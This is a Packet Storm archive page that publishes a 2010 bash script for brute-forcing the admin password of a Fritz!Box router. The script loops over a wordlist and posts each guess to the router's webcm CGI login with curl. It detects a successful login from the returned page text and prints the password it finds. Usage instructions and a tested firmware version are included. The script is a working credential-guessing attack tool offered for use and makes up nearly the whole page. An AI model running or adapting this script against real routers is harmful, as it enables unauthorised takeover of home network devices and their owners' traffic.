what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Fritz!Box Bruteforcing Utility

Fritz!Box Bruteforcing Utility
Posted Dec 5, 2010
Authored by brixton

This is a simple shellscript to bruteforce attack Fritz!Box.

tags | cracker
SHA-256 | b875368cd36b21097b1848e3b3f86cc8df00b3170437851f7c9786e9279d84ef

Fritz!Box Bruteforcing Utility

Change Mirror Download
#!/bin/bash  -
# Bruteforce Fritz!Box
# Code by brixton brixton [dot] hackermail [dot] com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA#
#

clear
if ! test -e .brutefritz.log
then
touch .brutefritz.log
else
echo "" >.brutefritz.log
fi



scan()
{
banner
while read line
do
curl -d "login:command/password=$line" \
-d "getpage=../html/de/menus/menu2.html" \
-d "errorpage=../html/index.html" \
-d "var:lang=de" \
-d "var:pagename=home" \
-d "var:menu=home" \
-s http://$1/cgi-bin/webcm | grep Assistenten >.brutefritz.log
if [ "$(cat .brutefritz.log)" = "" ]
then echo "+++Password no access ->$line"
else echo "+++Password found :) ->$line"
exit
fi

done < $2
}

banner()
{
echo "
\|||/
(o o)
,~~~ooO~~(_)~~~~~~~~~,
| briXtons Fritz!Box |
| Bruteforce |
| Version 1 |
| |
'~~~~~~~~~~~~~~ooO~~~'
|__|__|
|| ||
ooO Ooo
"
}

usage()
{
banner
echo "
$0 -i <ip/url> -w <wordlistfile>
$0 -h this help


example:
$0 -i 192.168.178.1 -w wordlists.lst

testet with FRITZ!Box WLAN 3170 -> Firmware-Version 49.04.58 ->Linux ubuntu 2.6.32-24-generic

"
}

while getopts "w:i:h" Option
do
case $Option in
w) WORDLIST=$OPTARG;;
i) IP=$OPTARG;;
h) usage;exit;;
*) usage;exit;;
esac
done

if [ "$IP" = "" ];then echo "no ip or url";exit;fi
if [ -e $WORDLIST ]; then
scan $IP $WORDLIST
else
echo "File $WORDLIST does not exists"
fi
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close